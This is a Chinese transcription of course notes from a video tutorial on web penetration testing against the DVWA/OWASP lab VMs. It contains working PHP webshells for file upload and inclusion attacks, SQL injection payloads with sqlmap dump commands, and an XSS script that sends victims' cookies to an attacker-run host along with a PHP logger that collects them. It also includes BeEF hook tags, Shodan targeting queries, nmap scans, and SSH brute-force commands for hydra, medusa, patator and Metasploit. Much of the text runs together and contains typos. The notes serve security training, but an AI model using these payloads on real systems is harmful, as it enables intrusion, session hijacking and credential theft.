筆記來源B站視頻(知識區>野生技術協會)
黑客攻防 從入門到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS
正文共: 19124字 155圖
預計閱讀時間: 48分鐘
已經獲得作者授權轉發
一、文件上傳漏洞原理
實驗靶機:OWASP_BrokenWeb_Apps_VM_1.2
下載地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
測試滲透機:Kali_Linux
官網下載地址:https://www.kali.org/downloads/
實驗一:
低安全模式下,上傳任意類型文件,對文件的限制不大
實驗二:
中安全模式下,繞過上傳文件的類型
開啟 BurpSuite ,設置代理地址(攻擊機的地址)
修改瀏覽器代理,用 BurpSuite 實現攔截功能
在被攔截的數據中修改Content-Type的信息,改為 image/JPEG
實驗二實現原理:
實驗三:
高安全模式,上傳一句話圖片木馬(文件後綴名限制)
上傳一句話木馬圖片(結合下面的 webshell 進行操作)
用工具 edjpgcom 給圖片寫入木馬,執行圖片內容生成木馬,用中國菜刀連接進行後臺操作
在後面章節的 文件包含漏洞 - ->本地文件 + webshell 會提到具體的操作方法
edjpgcom工具連結:
藍奏云:https://www.lanzoux.com/iJ9cce8fphe
shell2.php<?php eval($_REQUEST['cmd']);?>http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3.php<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd$ _REQUEST和$ _POST的區別
< ?php eval($_REQUEST[『hello』]);? >(hello可以改)
在地址欄用參數一條一條地操作http://10.3.139.173/dvwa/hackable/uploads/shell2.php?hello=phpinfo();< ?php eval($_POST[『hello』]);? >(hello可以改)
用工具(中國菜刀)連接進行後臺操作4、菜刀詳解+官網下載連結
中國菜刀官網:http://www.maicaidao.co/
騰訊哈勃查毒(輕度風險):https://habo.qq.com/在文件中找到readme.txt,裡面有詳細使用方法
二、文件包含滲透 File Inclusion1、項目實驗環境
本地文件包含:LFI
遠程文件包含:RFI老師手繪圖
2、文件包含漏洞危害及原理
綠色框:正常文件
紅色框:上傳惡意的本地文件
黃色框:讓伺服器主動訪問惡意的遠程文件2.1、低安全級別
本地文件包含
本地文件包含 + webshell一句話木馬腳本
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
edjpgcom工具連結:
藍奏云:https://www.lanzoux.com/iJ9cce8fphe
天翼:https://cloud.189.cn/t/R7VFjuZRbMJb(訪問碼:n4d1)注意:圖片不能太大,否則可能運行不了
相對路徑http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg絕對路徑http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg遠程文件包含 + webshell
建立遠程伺服器
安裝web服務(apache2)
apt-get install apache2
開啟web服務
systemctl start apache2
編寫腳本文件
vim /var/www/html/yangge.txt<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>
2.2、中安全級別本地文件包含: 和低安全級別操作一樣
本地文件包含 + webshell: 和低安全級別操作一樣遠程文件包含 + webshell
2.3、高安全級別
後臺源碼用str_replace函數隻替換一個http://,改成http:http:////即可後臺源碼寫死,文件後綴名限制,安全但不靈活
三、SQL注入攻擊及防禦1、項目實驗環境
實驗靶機:OWASP_BrokenWeb_Apps_VM_1.2
下載地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download測試滲透機:Kali_Linux
2、SQL注入危害
官網下載地址:https://www.kali.org/downloads/拖庫導致用戶數據洩露
危害web等應用的安全
失去作業系統的控制權
用戶信息被非法買賣
危害企業及國家的安全
3、SQL基礎回顧1、登錄OWASP
登錄OWASP
2、查看資料庫
show databases; 查看所有資料庫
select database(); 查看當前所在的庫
use dvwa; 使用dvwa庫
3、查看當前庫中的表
show tables;
4、查看表結構
desc table;
5、查看表記錄
比如select語句
當前庫dvwa dvwa .usersmysql> select * from users;mysql> select user_id,first
其它庫 mysql.usermysql> desc mysql.user;mysql> select * from mysql.user;mysql> select user,password,host from mysql.user;其它庫 wordpress .user
mysql> desc wordpress.wp_users;mysql> select * from wordpress.wp_users;wysql> select user_login,user_pass from wordpress.wp_users;mysql> select user,password,host from mysql.user where user='root';mysqi> select user,password,host from mysql.user where user='root' and host='localhost':mysql> select user,password,host from mysql.user where user='root' or host='localhost';
mysql> desc dvwa .users;mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;聯合查詢
註:union查詢前後欄位數必須相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;注入語句
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;6、information_schema(元數據)
====查詢資料庫庫名、表名 information_schema.tables===mysql> select * from information_schema.TABLES\Gmysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\Gmysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BYTABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa';
===查詢資料庫庫名、表名、欄位名 information_schema.columns===mysql> select * from information_schema.columns\Gmysql> select column_name from INFORMATION_SCHEMA.columnsmysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa』 and table_name='users'; //相當於descmysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';4、SQL注入流程5、手動注入實戰5.1、基於錯誤的注入
目的:試探某位置是否有注入點
語句分析
輸入單引號 』 報錯select first_name,last_name from dvwa users where user_id='''
5.2、基於布爾的注入注入語句
select first_name,last_name from dvwa users where user_id='' or 1=1' or 1=1 -- yangge
第一個 ' 是為了閉合前面的條件
or 1=1 為真的條件
- - 注釋掉後面所有語句一般可以查到本張表的所有數據
5.3、基於UNION的注入
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables
mysq1> select first_name,last_name from dvwa.users where user_id='$id''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --''union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'
'union select NULL, user from users -- ''union select NULL, password from users -- ''union select user, password from users -- ''union select NULL, GRANTEE from USER_PRIVILEGES -- ''union select password, concat(first_name,' ',last_name,' ',user) from users --'輸入語句mysq1> select first_name,last_name from dvwa.users where user_id=''union select password, concat(first_name,' ',last_name,' ',user) from users注入語句
5.4、基於時間的盲注
可以查到本張表以外的其他表的數據
前提是
第一要知道union前面SQL語句查詢的欄位數
第二要知道union後面的要查的那張表的欄位名SQL injection (Blind) - 盲注
有些資料庫對錯誤信息做了安全配置,使得不能通過以上方法探測到注入點,此時,通過設置 sleep 語句來探測注入點
1' and sleep(5) -- 'SQL注入語句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5)6、SQLmap自動注入SQ注入比較好用的工具,首推開源工具 SQLmap。SQLmap是個國內外著名的安全穩定性測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取資料庫伺服器的權限。它具有功能強大的檢測引擎,針對各種不同類型資料庫的安全穩定性測試的功能選項,包括獲取資料庫中有的數據,訪可作業系統文件甚至可以通過外帶數據連接的方式執行作業系統命令。
6.1、GET方法注入+數據獲取
SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等資料庫的各中安全漏洞檢測
sqlmap -hh | less
各行參數自行翻譯(本人英語渣渣)有登陸權限漏洞的靶機 OWASPMutillidae ‖
通過指定參數注入(複製網頁連結,再加上參數)root@kali#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username
獲取所有資料庫root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.php susername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs
獲取所有用戶root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users
獲取當前用戶
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user--users //獲取全部用戶--current-user //獲取當前用戶--dbs //獲取全部資料庫--current-db //獲取當前資料庫-D "database_name" --tables-D "database_name" -T "table_name" --colun--dump-all //整個資料庫全部dump(拿)下來--dump-all --exclude-sysdbs //排除系統庫-D "database_name" -T "table_name" --dump-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自動化完成演示步驟:
6.2、POST方法注入+數據獲取需要帶cookie才能訪問注入的頁面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="換成自己的" --batch多個 cookie 用 ; 分開
6.3、提權操作
cookie 的內容 – > PHPSESSID = ID(主意,要用 =,而不是 :)
演示步驟(和GET差不多):提權操作:--sql-shell
6.4、綜合實例
獲取sql權限後(操作資料庫):
sql-shell:select * from users;四、跨站腳本攻擊 XSS
1、XSS簡介
2、原理解析
3、構造XSS腳本3.1、常用HTML標籤
一般針對搜索框3.2、常用JavaScript方法
3.3、構造XSS腳本
主要用到這兩條命令<script src="http://BeEF_IP:3000/hook.js"></script><img src="http://BeEF_IP:3000/hook.js"></img>4、反射型XSS (XSS reilected)4.1、安全級別低安全級別
可以直接發送代碼段(XSS reilected 和 XSS stored 都行)彈框警告:
<script>alert('yangge')</script>
<script>alert(document.cookie)</script>
頁面重定向:<script>location.href="http://www.baidu.com"</script>手工XSS
5、存儲型XSS (XSS stored)存儲型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的連結放在網頁的某個頁面,例如評論框等;
用戶訪問此XSS連結並執行,由於存儲型XSS能夠攻擊所有訪問此頁面的用戶,所以危害非常大。手工【低】
攻擊1 彈框告警∶ 滲透機 kali Linux 端操作
text1
<script>alert('yangge')</script>
攻擊2 獲取cookie: 滲透機 Kali Linux端操作
1. 構建收集cookie伺服器
2. 構造XSS代碼並植入到Neb伺服器
3. 等待肉雞觸發xSS代碼並將cookie發送到Kali
4.Cookie利用獲取用戶 cookie
在 kali 打開 apache 服務
systemctl start apache2
新建一個存放cookie的php文件
vim /var/www/html/cookie_rec.php
寫入內容:<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt","a");fwrite($log, $cookie . "\n");fclose($log);?>
給目錄權限
chown -R www-data.www-data /var/www/通過滲透機植入XSS代碼:
<script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.cookie)</script>註:192.168.106.176 為kali Linux IP(換成自己的)
註:先清除之前植入的XSS代碼6、自動化XSS6.1、BeEF簡介
再用另外一臺電腦訪問該網站,就可以在 /var/www/html/cookie.txt 文件中看到已經獲取到cookieBrowser Exploitation Framework (BeEF)
BeEF是目前最強大的瀏覽器開源滲透測試框架,通過XSS漏洞配合JS腳本和Metasploit進行滲透;
BeEF是基於Ruby語言編寫的,並且支持圖形化界面,操作簡單;
http://beefproject.com/信息收集:
1.網絡發現
2.主機信息
3.Cookie獲取
4.會話劫持
5.鍵盤記錄
6.插件信息持久化控制:
信息收集:
1.網絡發現
2.主機信息
3.Cookie獲取
4.會話劫持
5.鍵盤記錄
6.插件信息持久化控制:
1確認彈框
2.小窗口
3.中間人社會工程:
6.2、BeEF基礎
1.點擊劫持
2.彈窗告警
3.虛假頁面
4.釣魚頁面啟動Apache和BeEF:
6.3、信息收集
service apache2 start
註:先清除之前植入的XSS代碼
在瀏覽器登錄beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 換成自己IP)
登錄帳號:beef
登錄密碼:beef命令顏色(Color):
綠色 對目標主機生效並且不可見(不會被發現)
橙色 對目標主機生效但可能可見(可能被發現)
灰色 對目標主機未必生效(可驗證下)
紅色 對目標主機不生效反射型 - - 》非持久化
五、Web信息收集之搜尋引擎
儲存型 - - 》持久化搜尋引擎:
Google Hacking(谷歌)
Shodan Hacking(撒旦)
Zoomeye Hacking(鍾馗之眼 - 撒旦國內版)信息收集概述
Web信息搜集(探測)即web踩點,主要是掌握目標Web服務的方方面面,是實現web滲透入侵前的準備工作
Web踩點內容包括作業系統、伺服器類型、資料庫類型、web容器、web語言、域名信息、網站目錄…
Web信息搜集涉及搜尋引擎、網站掃描、域名遍歷、指紋識別等工作
項目實驗環境
目標靶機: OWASP_Broken_Web_Apps_VM_1.2
測試透機: win7/Kali
1、Google Hacking不同的搜索行為
2、Shodan Hacking
1、site
2、filetype
3、inurl
4、intitle
5、intext
實例
符號
參考
搜索:測驗分數(test scores)但不是SAT入學分數的文章:
搜索:一份關於常見燕子飛行速度的專業報告
搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所寫的關於光合作用(photosynthesis)的記文:https://www.shodan.io
Shodan(撒旦搜尋引擎)是由Web工程師John Matherly(馬瑟利)編寫的,被稱為「最可怕的搜尋引擎」,可掃描一切聯網的設備,除了常見的web伺服器;還能掃描防火牆、路由器、交換機、攝像頭、印表機等一切聯網設備ip
114.114.114.114service/protocol
keyword
基於關鍵詞搜索的思路是根據banner信息(設備指紋)來搜索 「default password」 country:「TH」
FTP anon successfulcountry
country:cn
country:us
country:jpproduct
product:「Microsoft IIS httpd」
product:「nginx」
product:「Apache httpd」
product:MySQLversion
product:MySQL version:「5.1.73」
product:「Microsoft IIS httpd」 version:「7.5」hostname
hostname: org
hostname: eduOS
os:「Windows Server 2008 R2」
os:「Windows 7 or 8」
os:「Linux 2.6.x」net
net net:110.180.13.0/24
200 ok net:110,180.13.0/24
200 ok country: JP net:110.180.13.0/24port
port: 3389
port: 445
port: 22
port: 80
port: 443綜合示例
搜索日本區開啟80埠的設備:country:jp port:"80"country:jp port:"80" product:"Apache httpd"country:jp port:"80" product:"Apache httpd" city:"Tokyo"country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"
搜索日本區使用Linux2.6.x系統的設備:country:jp os:"Linux 2.6.x"country:jp os:"Linux 2.6.x" port:"80"country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"
搜索日本區使用windows Server 系統的設備:country:jp os:"Windwws Server 2008 R2"country:jp os:"Windows Server 2003" port:"445"country:jp os:"Nindows Server 2003" port:"80"
授索日本區使用Microsoft IIS的設備:country:jp product:"Microsoft IIS httpd" version:"7.5"3、Zoomeye Hacking
概述
六、Web信息收集之目標掃描1、項目實驗環境
https://www.zoomeye.org
用戶手冊(shift+/):https://www.zoomeye.org/help
自己去玩玩。。。目標靶機: OWASP_Broken_Web_Apps_VM_1.2
測試透機: win7/Kali
2、nmap(命令行)nmap簡介
Nmap是安全滲透領域最強大的開源埠掃描器,能跨平臺支持運行。
Nmap官網:https://nmap.org/
Nmap的幫助文檔:https://nmap.org/book/man.html
其他安全工具:http://sectools.org/掃描示例
主機發現:nmap -sn 192.168.106/24
埠掃描:nmap -sS -p1-1000 192.168.106.134(-sS原理,給對方發一個SYN握手包,若對方回一個SYN/ACK,則開啟了探測埠;若回一個RESE
T/ACK,則沒有開啟探測埠)
系統掃描:nmap -O 192.168.106.134
版本掃描:nmap -sV 192.168.106.134
綜合掃描:nmap -A 192.168.106.134
腳本掃描:
root@kali:/usr/share/nmap/scripts# nmap --script=default 192.168.106.134 nmap --script=auth 192.168.106.214 nmap --script=brute 192.168.106.134 nmap --script=vuln 192.168.106.134 nmap --script=broadcast 192.168.106.134 nmap --script=smb-brute.nse 192.168.106.134
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134 nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134 nmap -p3306 --script=mysql-empty-password.nse 192.168.106.1343、zenmap(圖形界面)
Intense scan(強烈掃描):
nmap -T4 -A -v 192.168.106.1
-T 設置速度等級,1到5級,數字越大,速度越快
-A 綜合掃描
-v 輸出掃描過程
Intense scan plus UDP:
nmap -sS -sU -T4 -A -v 192.168.106.134
-sS TCP全連接掃描
-sU UDP掃描Intense scan, all TCP ports:
nmap -p 1-65535 -T4 -A -v 192.168.106.134
-p 指定埠範圍,默認掃描1000個埠intense scan no ping:
nmap -T4 -A -v -Pn 192.168.106.0/24
-Pn 不做ping掃描,例如針對防火牆等安全產品ping scan:
nmap -sn 192.168.106.0/24
nmap -sn -T4 -v 192.168.106.0/24
-sn 只做ping掃描,不做埠掃描quick scan:
nmap -T4 -F 192.168.106.134
-F fast模式,只掃描常見服務埠,比默認埠(1000個)還少Quick scan plus:
nmap -sV -T4 -O -F --version-light 192.168.106.134
-sV 掃描系統和服務版本
-O 掃描作業系統版本Quick traceroute:
nmap -sn --traceroute www.qfedu.com
- -traceroute 追蹤經過的路由站Regular scan:
nmap www.qfedu.com
標準掃描Slow comprehensive scan:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53--script "default or (discovery and safe)" www.baidu.com全面掃描(慢)
4、OpenVAS信息掃描工具
http://www.openvas .org/
http://www.greenbone.net/部署OpenVAS
升級Kali Linuxroot@kali:~# apt-get updaterootekali:~# apt-get dist-upgrade
安裝openVASroot@kali:~# apt-get install openvasroot@kali:~# openvas-setup
修改admin帳戶密碼root@kali:~# openvasmd --user=admin --new-password=yangge
修改默認監聽IProot@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service
啟動OpenVASroot@kali:~# openvas-start
七、Web漏洞掃描之AppScan
檢查安裝:
root@kali:~#ss -tnlp
root@kali:~#openvas-check-setup
登錄OpenVAS
https://192.168.106.158:9392 #192.168.106.158為 Kali IP位址 埠9392
註:是https
高級 - > 允許訪問
新建掃描task
高級掃描task
結果:
IBM@ Security AppScan@ 是一個適合安全專家的Web應用程式和Web服務滲透測試解決方案
國外商業漏掃產品中,少有的能支持中文的漏掃,運行於windows平臺;
界面清晰、配置簡單豐富的中文和產品文檔,詳細的漏洞說明和修復建議;
支持豐富的掃描報告,包括安全性、行業標準、合規一次性報告。
https://www.ibm.com/developerworks/cn/downloads/r/appscan/1.功能及特點
2.項目實驗環境目標靶機: OWASP_Broken_Web_Apps_VM_1.2
測試透機: win7/Kali
3.AppScan安裝
在官網下載到Windows上安裝4.創建掃描
八、Web漏掃之 Burp suite
下一步
下一步 - >完成 - > 掃描 - > 保存結果
1.功能以及特點
https://portswigger.net/burp/
Target: 目標模塊用於設置掃描域(target scope)、生成站點地圖(sitemap)、生成安全分析Proxy: 代理模塊用於攔截瀏覽器的http會話內容
Spider: 爬蟲模塊用於自動爬取網站的每個頁面內容,並生成完整的網站地圖
Scanner: 掃描模塊用於自動化檢測漏洞,分為主動和被動掃描
Intruder: 入侵(滲透)模塊根據上面檢測到的可能存在漏洞的連結,調用攻擊載荷,對目標連結進行攻擊入侵模塊的原理是根據訪問連結中存在的參數/變量,調用本地詞典、攻擊載荷,對參數進行滲透測
Repeater: 重放模塊用於實現請求重放,通過修改參數進行手工請求回應的調試
Sequencer: 序列器模塊用於檢測參數的隨機性,例如密碼或者令牌是否可預測,以此判斷關鍵數據是否可被偽造
Decoder: 解碼器模塊用於實現對URL、HTML、Base64、ASCII、二/八/十六進位、哈希等編碼轉換
Comparer 對比模塊用於對兩次不同的請求和回應進行可視化對比,以此區分不同參數對結果造成的影響
Extender: 拓展模塊是burpsuite非常強悍的一個功能,也是它跟其他web安全評估系統最大的差別,通過拓展模塊,可以加載自己開發的、或者第三方模塊,打造自己的burpsuite功能通過burpsuite提供的API接口,目前可以支持Java、Python、Ruby三種語言的模塊編寫
Options: 分為Project/User Options,主要對軟體進行全局設置
Alerts: 顯示軟體的使用日誌信息
2.項目實驗環境
目標靶機: OWASP_Broken_Web_Apps_VM_1.2
測試透機: win7/Kali
3.Burp Suite安裝
啟動方法:java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar4.Burp Suite使用
代理功能【Proxy】
目標功能【Target】開啟監聽埠
瀏覽器設置代理
代理功能詳解
攔截帳號信息
查看站點地圖
設置過濾器
爬蟲功能【Spider】準備工作:
設置代理獲取域名【略】
訪問目標網站
設置目標域
攔截功能關閉
爬蟲選項
執行爬蟲,在站點地圖中發送給爬蟲掃描功能【Scanner】
準備工作:
設置代理獲取域名【略】
訪問目標網站
設置目標域
攔截功能關閉掃描選項之掃描方式:
主動掃描精準度高時間長影響大消耗資源大
被動掃描精準度低時間短影響小消化資源小九、SSH密碼暴力破解及防禦實戰
攻擊插入點
主動掃描
被動掃描
漏洞掃描
漏洞問題
保存導出問題
使用主動掃描
站點地圖中選中主動掃描的網站或分支
打開報告
1、hydra [海德拉]**海德拉(Hydra):**希臘神話中的九頭蛇,是西方的神話生物,在古希臘神話中出現最為頻繁。傳說它擁有九顆頭,其中一顆頭要是被斬斷,立刻又會生出兩顆頭來。
hydra是世界頂級密碼暴力密碼破解工具,支持幾所有協議的在線密碼破解,功能強大,其密碼能否被破解關鍵取決於破解字典是否足夠強大,在網絡安全滲透過程中是一款必備的測試工具。
指定用戶破解
Examples:hydra -1 user -P passlist.txt ftp://192.168.0.1hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAINhydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5hydra -1 admin -p password ftp://[192.168.0.0/24]/hydra -L logins.txt -P pws.txt -M targets.txt ssh
rootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh用戶列表破解
root@kali:~# cat userlist.txtadminroottianyunyanggezhuzhuxia
root@kali:~# cat passlist.txt123abc,123rootadminowaspbwayanggeroot@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
結果導出到ssh-hydra.okroot@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok
2、Medusa [美杜莎]
美杜莎是希臘神話裡的一個女妖怪,她的頭髮是毒蛇,長的青面撩牙,她知道自己丑,她要報復,她把見過她的人都變成了石頭。據說她原是一位美麗的少女,之所以變成蛇髮女妖因為梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下將美杜莎的頭髮變成毒蛇,變成面目醜陋的怪物。Medusa(美杜莎)是一個速度快,支持大規模並行,模塊化,爆破登錄。可以同時對多個主機,用戶或密碼執行強力測試。Medusa 和 hydra —樣,同樣屬於在線密碼破解工具。不同的是,medusa 的穩定性相較於 hydra 要好很多,但其支持模塊要比 hydra 少一些。
語法參數
破解SSH密碼root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt
root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log輸出到ssh.log
3、patator
Patator :強大的命令行暴力破解器
可用模塊
破解SSH密碼root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'
4、BrutesPray
Kali端安裝
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray語法參數
nmap掃描root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xmlroot@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xmlroot@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xmlroot@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml字典爆破SSH
root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5
爆破成功可以到這個文件下查看cat /root/brutespray-output/ssh-success.txt
5、MSF
SSH模塊
root@kali:~# msfconsole
msf > search ssh
SSH用戶枚舉(ssh_enumusers)msf > use auxiliary/scanner/ssh/ssh_enumusersmsf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txtmsf auxiliary(scanner/ssh/ssh_enumusers) > run
SSH版本探測(ssh_version)msf > use auxiliary/scanner/ssh/ssh_versionmsf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134msf auxiliary(scanner/ssh/ssh_version) > run
SSH 暴力破解(ssh_login)msf > use auxiliary/scanner/ssh/ssh_loginmsf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txtmsf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txtmsf auxiliary(scanner/ssh/ssh_login) > run
6、暴力破解防禦1. useradd shell【推薦】[root@tianyun ~]# useradd yangge -s /sbin/nologin
2. 密碼的複雜性【推薦】字母大小寫+數字+特殊字符+20位以上+定期更換
3. 修改默認埠【推薦】/etc/ssh/sshd_configPort 22222
4. 限止登錄的用戶或組【推薦】#PermitRootLogin yesAllowUser yangge
[root@tianyun ~]# man sshd_configAllowUsers AllowGroups DenyUsers DenyGroups
使用sudo【推薦】
5.設置允許的IP訪問【可選】/etc/hosts.allow ,例如sshd:192.168.106.167:allowPAM基於IP限制iptables/firewalld只能允許從堡壘機
6. 使用DenyHosts自動統計,並將其加入到/etc/hosts.deny
7. 基於PAM實現登錄限制【推薦】模塊:pam_tally2.so功能:登錄統計示例:實現防止對sshd暴力破解
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6
8. 禁用密碼改用公鑰方式認證/etc/ssh/sshd_configPasswordAuthentication no9. 保護xshell導出會話文件【小心】
10.GRUB加密【針對本地破解】在文件 /etc/pam.d/su 中加入 auth sufficient pam rootok.so
十、中間人攻擊及防禦
那麼只要用 root 用戶進行ssh登錄,密碼隨便亂輸入也能登陸中間人攻擊也叫ARP 欺騙 、ARP 毒化
kali 攻擊工具:Ettercap
ettercap -G (打開GUI界面)
搜索主機
添加需要毒化的主機
開始毒化
再arp -a查看網關的 ip地址 對應的 mac地址是否被改變防禦:
linux系統下的配置設置永久靜態MAC地址:arp -s IP位址 MAC地址arp -s 192.168.1.22 00-aa-00-62-e5-6cWindows系統下的配置設置臨時靜態MAC地址 :arp -s IP位址 MAC地址arp -s 192.168.1.200 00-aa-00-62-c6-09設置永久靜態MAC地址:DOS界面下,輸入命令 netsh ii show in ,查看本地網卡對應的"Idx"值(netsh i i show in 為 netsh interface ipv4 show interfaces 的縮寫)
綁定靜態mac地址
netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent
刪除之前綁定的ARP表項
netsh -c "i i" delete neighbors 14(14為之前的idx值)都能看到這裡還不轉發+點讚??????
全世界只有不到 0.3 % 的人關注了滲透雲筆記
你真是個特別的人